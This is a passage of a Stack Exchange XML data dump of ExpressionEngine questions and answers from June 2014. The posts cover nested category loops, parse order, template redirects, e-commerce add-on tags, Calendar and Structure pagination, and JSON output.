this:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:categories category_group=&quot;2&quot; style=&quot;linear&quot;}&#xA;&#xA;    &amp;lt;?php&#xA;    if({parent_id} == 0) :&#xA;        $categories['{category_id}'] = array();&#xA;    else :&#xA;        if(isset($categories['{parent_id}'])) $categories['{parent_id}']['{category_id}'] = '{category_name}';&#xA;    endif;&#xA;    ?&amp;gt;&#xA;&#xA;    {/exp:channel:categories}&#xA;&#xA;    {exp:channel:categories category_group=&quot;2&quot; style=&quot;linear&quot; parent_only=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;div id=&quot;products-{category_url_title}&quot; class=&quot;products-row grayscale&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;products-cover&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;page-heading&quot;&amp;gt;&amp;lt;h1&amp;gt;{category_name}&amp;lt;/h1&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;row-content products-content&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;                &amp;lt;div&amp;gt;&#xA;                    &amp;lt;p&amp;gt;{category_description}&amp;lt;/p&amp;gt;&#xA;                    &amp;lt;div class=&quot;white-box&quot;&amp;gt;&#xA;&#xA;                        &amp;lt;?php if(isset($categories['{category_id}'])) : &#xA;                        foreach ($categories['{category_id}'] as $category_id =&amp;gt; $category_name) : ?&amp;gt;&#xA;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;?= $category_name ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                            {exp:channel:entries channel=&quot;products&quot; category=&quot;&amp;lt;?= $category_id ?&amp;gt;&quot;}&#xA;                            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; data-product=&quot;{entry_id}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/exp:channel:entries}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;&#xA;                        &amp;lt;?php endforeach; endif; ?&amp;gt;&#xA;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    {/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine in that it properly iterates though the children for each parent, but I can't output the channel entries since the parsing stage is set to output, so the category parameter is never set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I do extract that channel entries tag to another template, I run into the same issue as I'd need to pass the category id as an embed variable, which would fail for the same reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So right now I'm struggling to identify a reasonable solution or a simpler alternative. If possible, I'd like to avoid utilizing third party addons (not that I don't use them, I just like to minimize their use where possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using &lt;a href=&quot;http://gwcode.com/add-ons/gwcode-categories&quot; rel=&quot;nofollow&quot;&gt;GWcode Categories&lt;/a&gt; to replace the child category loop with the following code (replacing the inner PHP), but I get the same result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_id=&quot;{category_id}&quot; incl_self=&quot;no&quot; style=&quot;linear&quot;}&#xA;&#xA;    &amp;lt;h3&amp;gt;{cat_name}&amp;lt;/h3&amp;gt;&#xA;&#xA;    &amp;lt;ul&amp;gt;&#xA;    {exp:channel:entries channel=&quot;products&quot; category=&quot;{cat_id}&quot;}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#&quot; data-toggle=&quot;modal&quot; data-modal=&quot;product&quot; data-target=&quot;#product-modal&quot; data-product=&quot;{entry_id}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:channel:entries}&#xA;    &amp;lt;/ul&amp;gt;&#xA;&#xA;{/exp:gwcode_categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3230" LastEditorUserId="3230" LastEditDate="2014-06-13T05:52:31.057" LastActivityDate="2014-06-13T08:14:57.930" Title="Iterate child categories inside parent category loop" Tags="|categories|php|loop|nesting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23675" PostTypeId="2" ParentId="23609" CreationDate="2014-06-13T06:19:04.950" Score="1" Body="&lt;p&gt;If the form is submitted to the same template (e.g. not to a module action-id) then you don't have to expose the data at all on the page to the user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After posting the form, your template tag is called again. You can handle the form data and at the same time, the tag parameters are available.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;add-on tips&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Make sure the parameter data does not contain the same quote marks as are used for the parameter itself. e.g. only use single quotes inside double quoted parameters &lt;code&gt;var=&quot;...foo'bar'...&quot;&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another option is to stuff the data into a tagpair &lt;code&gt;{var}data{/var}&lt;/code&gt; and grab it from there via the template library or via some regex out of the tag data.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A good practice is &lt;a href=&quot;http://en.wikipedia.org/wiki/Post/Redirect/Get&quot; rel=&quot;nofollow&quot;&gt;post/redirect/get&lt;/a&gt; (wikipedia). This prevents multiple submits to a form when a user reloads the page. For instance, when a form sits on &lt;code&gt;/group/template&lt;/code&gt; you can post to &lt;code&gt;/group/template/save/&lt;/code&gt; and after success redirect back. The extra (dummy) segment can be helpful in this procedure.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="155" LastActivityDate="2014-06-13T06:19:04.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23676" PostTypeId="2" ParentId="23640" CreationDate="2014-06-13T07:07:24.117" Score="1" Body="&lt;p&gt;Drawing from what Jeremy said, you need to make sure that the channel that they are posting to has a status group assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After you're sure that they do have a status group,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to Admin -&gt; Channel Administration -&gt; Channel Form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and choose the default status for the channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any statuses other than &quot;open&quot; and &quot;closed&quot; you may need to add the &quot;status&quot; attribute to the entries loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;e.g.&#xA;{exp:channel:entries channel=&quot;news&quot; status=&quot;open|pending&quot;}&#xA;    &amp;lt;!-- Content --&amp;gt;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The code example above should show everything in the news channel, with a status of &quot;open&quot; or &quot;pending&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this answered your question.&lt;/p&gt;&#xA;" OwnerUserId="3231" LastActivityDate="2014-06-13T07:07:24.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23677" PostTypeId="1" CreationDate="2014-06-13T08:00:55.590" Score="0" ViewCount="248" Body="&lt;p&gt;I have a template group called 'members' with two templates - 'male' and 'female'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I want the 'index'-template of the 'members'-group to redirect to the 'male'-template, whenever somebody types in the following URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;my_site.com/members&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've setup a route in the CP like this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;'members/index' =&amp;gt; 'members/male'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... and put this in my 'members/index'-template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{route=&quot;members/male&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expected this to initiate a redirect, but it doesn't. So, how do the new native template routes actually work?&lt;/p&gt;&#xA;" OwnerUserId="2855" LastEditorUserId="6825" LastEditDate="2015-12-07T15:55:14.697" LastActivityDate="2018-12-06T16:01:35.760" Title="Redirect templates with native template routes" Tags="|routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23678" PostTypeId="2" ParentId="23674" CreationDate="2014-06-13T08:14:57.930" Score="1" Body="&lt;p&gt;Use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/plugins.html#changing-parsing-order&quot; rel=&quot;nofollow&quot;&gt;parse=&quot;inward&quot; parameter&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:gwcode_categories cat_id=&quot;{category_id}&quot; incl_self=&quot;no&quot; style=&quot;linear&quot; parse=&quot;inward&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which will ensure {cat_id} is set prior to the channel:entries tag being run.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2014-06-13T08:14:57.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23679" PostTypeId="2" ParentId="23677" CreationDate="2014-06-13T08:16:56.993" Score="0" Body="&lt;p&gt;OK, I've just discovered the following feature in the access-section of the template manager:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;When unauthorized users try to access this page, show this one instead&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solves my problem perfectly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, as an alternative, I can add this to the &lt;code&gt;members/index&lt;/code&gt; template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 != &quot;&quot;}&#xA;    {redirect=&quot;members/male&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2855" LastEditorUserId="343" LastEditDate="2014-06-13T14:04:02.103" LastActivityDate="2014-06-13T14:04:02.103" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23680" PostTypeId="2" ParentId="22023" CreationDate="2014-06-13T10:09:08.963" Score="0" Body="&lt;p&gt;Make sure that the path to your template files is correct in your control panel. Look under Design &gt; Templates &gt; Global Preferences and check &quot;Server path to site's templates&quot;&lt;/p&gt;&#xA;" OwnerUserId="1976" LastActivityDate="2014-06-13T10:09:08.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23681" PostTypeId="2" ParentId="23587" CreationDate="2014-06-13T10:26:19.973" Score="0" Body="&lt;p&gt;Turns out it was my own silly mistake causing the issues here, whoops!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the successful transaction email notifications I was using {exp:cartthrob:order_subtotal} as opposed to {exp:cartthrob:cart_subtotal}. This caused problems with the transaction authorisation process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After talking through with Chris @ CartThorb, he realised my mistake. After changing the tags to the correct version all was OK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will help someone else at some point!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the great support Chris.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2014-06-13T10:26:19.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23682" PostTypeId="1" AcceptedAnswerId="23690" CreationDate="2014-06-13T10:44:48.773" Score="3" ViewCount="52" Body="&lt;p&gt;Is there some sort of way in Expresso-Store that I am able to use the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag inside of the &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag without generating a 'product form' inside of the 'checkout form'? I need to use the {total_stock} tag from &lt;code&gt;{exp:store:product}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use &lt;code&gt;{exp:store:product}&lt;/code&gt; inside of &lt;code&gt;{exp:store:checkout}&lt;/code&gt;, but then my submit button to go to the next checkout step did not respond at all and I think this might have been because there were two forms on the page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this code within my &lt;code&gt;{exp:store:checkout}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_stock &amp;gt; 0}&#xA;    &amp;lt;select name=&quot;qty&quot;&amp;gt;{exp:lb_cart:get_cart_stock t_stock=&quot;{total_stock}&quot; item_qty=&quot;{item_qty}&quot;}&amp;lt;/select&amp;gt;&#xA;{if:else}&#xA;    &amp;lt;p&amp;gt;Out Of Stock ({item_qty}). Item will be removed from the cart.&amp;lt;/p&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to user the &lt;code&gt;{total_stock}&lt;/code&gt; referencing &lt;code&gt;{exp:store:product}&lt;/code&gt;?&lt;/p&gt;&#xA;" OwnerUserId="3170" LastActivityDate="2014-06-13T14:50:57.003" Title="Using Product Tag In Checkout Tag" Tags="|expresso-store|ee2|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23683" PostTypeId="1" AcceptedAnswerId="23684" CreationDate="2014-06-13T11:06:59.947" Score="0" ViewCount="89" Body="&lt;p&gt;We have setup calendar module and create calendar template (as below) but when i click on previous or next month rise an error &quot;404 page not found&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I'm using structure module to generate pages and navigation &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; {exp:calendar:events limit=&quot;1&quot;}&amp;lt;h1 class=&quot;page-title&quot;&amp;gt;{calendar_title}&amp;lt;/h1&amp;gt;{/exp:calendar:events}&#xA;{exp:calendar:cal &#xA;    enable=&quot;custom_fields&quot; &#xA;    pad_short_weeks=&quot;y&quot;&#xA;    show_weeks=&quot;4&quot; &#xA;    date_range_start=&quot;{embed:embeded_date}-01&quot; date_range_end=&quot;{embed:embeded_date}-last&quot;&#xA;    category=&quot;{embed:cat}&quot;&#xA;    dynamic=&quot;no&quot;&#xA;    parse=&quot;inward&quot;&#xA;    status=&quot;not closed&quot;&#xA;}&#xA; {display_each_month}&#xA;&#xA;&#xA;&amp;lt;div class=&quot;event-cal clearfix&quot;&amp;gt;&#xA;&amp;lt;ul class=&quot;calendar-nav&quot;&amp;gt;&#xA;&amp;lt;li class=&quot;current-month&quot;&amp;gt;{date format=&quot;%F %Y&quot;}&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;prev-month&quot;&amp;gt;&amp;lt;a href=&quot;{structure:page:url}{prev_month format=&quot;%Y/%m&quot;}&quot;&amp;gt;&#xA;                               Previous&#xA;                            &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;next-month&quot;&amp;gt;&amp;lt;a href=&quot;{structure:page:url}{next_month format=&quot;%Y/%m&quot;}/&quot;&amp;gt;&#xA;                                Next&#xA;                            &amp;lt;/a&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&amp;lt;div class=&quot;days-of-week&quot;&amp;gt;&#xA;    {display_each_day_of_week}&#xA;        &amp;lt;div class=&quot;cal-day&quot;&amp;gt;{day_of_week_short}&amp;lt;/div&amp;gt;&#xA;        {/display_each_day_of_week}&#xA;&amp;lt;/div&amp;gt;&#xA;    {display_each_week}&#xA;&amp;lt;div class=&quot;cal-week&quot;&amp;gt;&#xA;        {display_each_day}&#xA;        &amp;lt;div class=&quot;cal-date&quot;&amp;gt;&#xA;&#xA;{if day_event_total !=&quot;0&quot;} &#xA;                    &amp;lt;a href=&quot;#&quot; data-options=&quot;align:right&quot; data-dropdown=&quot;drop-{date format=&quot;%F-%d&quot;}&quot; class=&quot;button&quot;&amp;gt;{date format=&quot;%d&quot;}&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div id=&quot;drop-{date format=&quot;%F-%d&quot;}&quot; class=&quot;event-tooltip small content f-dropdown&quot;  data-dropdown-content&amp;gt;&#xA;                    &amp;lt;h4&amp;gt;{date format=&quot;%F %d, %Y&quot;}&amp;lt;/h4&amp;gt;&#xA;                    &amp;lt;ul&amp;gt;&#xA;                    {events}&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;› {event_title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    {/events}&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    {if:else}&#xA;                   &amp;lt;span class=&quot;no-event&quot;&amp;gt;{date format=&quot;%d&quot;}&amp;lt;/span&amp;gt;&#xA;        {/if}&#xA;&#xA;&#xA;        &amp;lt;/div&amp;gt;   &#xA;        {/display_each_day}&#xA;&amp;lt;/div&amp;gt;&#xA;    {/display_each_week}&#xA;&#xA;&amp;lt;/div&amp;gt;&#xA;{/display_each_month}&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3232" LastEditorUserId="96" LastEditDate="2014-06-13T11:24:05.153" LastActivityDate="2014-06-13T11:27:08.060" Title="How to integrate calendar module with structure module" Tags="|structure|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23684" PostTypeId="2" ParentId="23683" CreationDate="2014-06-13T11:27:08.060" Score="0" Body="&lt;p&gt;According to Structure's developers you need to have the calendar tag in a non-Structure managed template for pagination to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://structure.tenderapp.com/discussions/problems/1337-conflict-with-solspace-calendar-pagination-and-structure-3-attempting-to-find-workaround#comment_9835986&quot; rel=&quot;nofollow&quot;&gt;https://structure.tenderapp.com/discussions/problems/1337-conflict-with-solspace-calendar-pagination-and-structure-3-attempting-to-find-workaround#comment_9835986&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-06-13T11:27:08.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23685" PostTypeId="2" ParentId="23670" CreationDate="2014-06-13T13:12:12.113" Score="1" Body="&lt;p&gt;I had a similar issue with adding back in the save icon as my users had become accustomed to using it.The icon was available as a plugin for ck-editor and got it working after a bit of a battle .The documentation on how to do so isn't very good and is difficult to follow.&#xA;There is a lot involved in this in this so it might be best if i can email you what i have done and you can just copy it and make a few adjustments for your plugin&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2014-06-13T13:12:12.113" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23686" PostTypeId="1" AcceptedAnswerId="23695" CreationDate="2014-06-13T13:51:29.613" Score="0" ViewCount="306" Body="&lt;p&gt;I am new to EE. Can someone guide me how to include paypal in payment type during checkout.&#xA;Currently we have visa,american express,Mastercard,discover&lt;/p&gt;&#xA;" OwnerUserId="3131" LastEditorUserId="55" LastEditDate="2014-06-13T19:10:38.317" LastActivityDate="2014-06-13T21:31:51.843" Title="Using PayPal during CartThrob checkout" Tags="|cartthrob|checkout|paypal-express-checkout|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="23687" PostTypeId="1" CreationDate="2014-06-13T13:52:33.073" Score="1" ViewCount="73" Body="&lt;p&gt;can cartthrob installed on MSM site ?  I have try to using cartthrob on multi site, but the item data on cart not all shown ( just the product title ). Please help me to solve this problem . Thanks before.&lt;/p&gt;&#xA;" OwnerUserId="3233" LastActivityDate="2014-06-13T13:52:33.073" Title="cartthrob on multisite" Tags="|cartthrob|multi-site-manager|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23688" PostTypeId="1" AcceptedAnswerId="23691" CreationDate="2014-06-13T14:09:31.457" Score="1" ViewCount="54" Body="&lt;p&gt;I'm in a situation where &lt;strong&gt;I have to&lt;/strong&gt; build a url like :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path='template/group/category/{category_url_title}'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if someone changes the &lt;em&gt;category&lt;/em&gt; trigger word in the control panel, this URL will lead to a 404. I wonder if there is any undocumented? variable that would give me the category trigger word, without enabling php in the template ?&lt;/p&gt;&#xA;" OwnerUserId="3097" LastActivityDate="2014-06-13T15:04:59.380" Title="Is there a variable available for user defined category trigger word?" Tags="|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23689" PostTypeId="2" ParentId="23688" CreationDate="2014-06-13T14:47:48.173" Score="0" Body="&lt;p&gt;Presumably, you're creating this URL inside of a &lt;code&gt;{categories}&lt;/code&gt; loop - in which case you simply need to do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{path=&quot;template/group&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output &lt;strong&gt;/template/group/category_trigger/category_url_title&lt;/strong&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-13T14:47:48.173" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="23690" PostTypeId="2" ParentId="23682" CreationDate="2014-06-13T14:50:57.003" Score="5" Body="&lt;p&gt;You can add &lt;code&gt;disable_form=&quot;yes&quot;&lt;/code&gt; to the &lt;code&gt;{exp:store:product}&lt;/code&gt; tag to disable the creation of the form. (&lt;a href=&quot;https://exp-resso.com/docs/product_tag.html#disable_form_yes&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-06-13T14:50:57.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="23691" PostTypeId="2" ParentId="23688" CreationDate="2014-06-13T15:04:59.380" Score="0" Body="&lt;p&gt;No, there isn't, but maybe you don't need one or, if you really need, you can create one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#path&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The category designation information will automatically be added to the end of the URL so that the target page will know which category to display.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So, inside of a {categories} variable pair, the necessary info will be added and you don't need to worry about it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want to prevent the user from changing this, you can &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#reserved-category-word&quot; rel=&quot;nofollow&quot;&gt;override this setting&lt;/a&gt; on the &lt;code&gt;config.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['reserved_category_word'] = 'category';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this setting can't be changed on Admin › Channel Administration &gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/global_channel_preferences.html#category-url-indicator&quot; rel=&quot;nofollow&quot;&gt;Global Channel Preferences&lt;/a&gt;. But it can still be changed on Admin &gt; System Administration &gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/config_editor.html&quot; rel=&quot;nofollow&quot;&gt;Config File Editor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still need the variable, you can create it. Back on the &lt;code&gt;config.php&lt;/code&gt;, after you set the &lt;code&gt;$config['reserved_category_word']&lt;/code&gt;, add this before &lt;code&gt;// END EE config items&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @see  https://gist.github.com/464756&#xA; */&#xA;global $assign_to_config; // Make this global so we can add some of the config variables here&#xA;&#xA;// make sure our global vars config exists&#xA;if(!isset($assign_to_config['global_vars']))&#xA;$assign_to_config['global_vars'] = array();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And them create your variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$assign_to_config['global_vars']['cv-category_word'] = $config['reserved_category_word'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I prefixed the variable with &lt;code&gt;cv-&lt;/code&gt; to make it easier to remember where it was set, a Config Variable, but you can use the name you prefer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can access this variable on your templates: &lt;code&gt;{cv-category_word}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember that you can always set which parts of the CP the user can have access to.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-06-13T15:04:59.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="23692" PostTypeId="2" ParentId="23671" CreationDate="2014-06-13T15:46:34.133" Score="3" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://devot-ee.com/add-ons/json&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;JSON&lt;/strong&gt;&lt;/a&gt; by Rob Sanchez. It works very well if you need to output ExpressionEngine data in JSON format. It has a lot of &lt;a href=&quot;https://github.com/rsanchez/json#global-parameters&quot; rel=&quot;nofollow&quot;&gt;useful parameters.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin tag can go right into your template where you want your JSON object. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;    var json = {exp:json:entries channel=&quot;programs&quot;};&#xA;    console.log(json);&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or you could put it in its own template and then load it with jQuery &lt;code&gt;$.ajax()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-06-13T15:46:34.133" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23693" PostTypeId="2" ParentId="23671" CreationDate="2014-06-13T16:52:40.683" Score="1" Body="&lt;p&gt;One answer is to create a new template and create your own custom implementation of JSON.This may be way easier than having to learn a huge api for something simple.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   //JSON STRING&#xA;   {entries:&#xA;    [&#xA;       {exp:channel:entries}&#xA;       {entry_title:{title},entry_content:{content}},&#xA;       {/exp:channel:entries}&#xA;    ]&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The way you would implement this in JavaScript would be to parse the returned AJAX string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//EXAMPLE&#xA;myJSONObject.entries[0].entry_title;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To make this code multipurpose use if/esle statements and pass variables to the template when you embed it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   {if embed:isEmbedded == &quot;yes&quot;}&#xA;   //Javascript for embedded templates&#xA;   var myJSONObject =&#xA;   {/if}&#xA;   //JSON STRING&#xA;   {entries:&#xA;    [&#xA;       {exp:channel:entries}&#xA;       {entry_title:{title},entry_content:{content}},&#xA;       {/exp:channel:entries}&#xA;    ]&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your template, the code would like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;   {embed=&quot;embeds/jsonApi&quot; isEmbedded=&quot;yes&quot;}&#xA;&#xA;    //Access the JSON object&#xA;    myJSONObject.entries[0].entry_title;&#xA;  &amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="675" LastEditorUserId="675" LastEditDate="2014-06-16T14:30:03.490" LastActivityDate="2014-06-16T14:30:03.490" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="23694" PostTypeId="2" ParentId="23598" CreationDate="2014-06-13T19:00:50.503" Score="1" Body="&lt;p&gt;There is a limit in the label field in the CP: if you look at the source code, you will see the input field has an attribute: &lt;code&gt;maxlength=&quot;150&quot;&lt;/code&gt;. That limits the field to entering 150 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you changed that value temporarily using the Web Inspector or Firebug in your browser, in the &lt;code&gt;exp_freeform_fields&lt;/code&gt; database table, the field_label column is VARCHAR(150), which means that beyond 150 characters, the database cuts off text to 150 characters. You would have to make a change in the database as well, which is something we would recommend being &lt;em&gt;very&lt;/em&gt; careful with if you're not familiar with MySQL (we can't advocate doing that).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you need more text and instead of doing the above hacks, how about using the &lt;strong&gt;Field Description&lt;/strong&gt; field to hold your label text? That field can hold a lot more text (65000+ characters actually), and you can swap it with your label in the template code.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-06-13T19:00:50.503" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
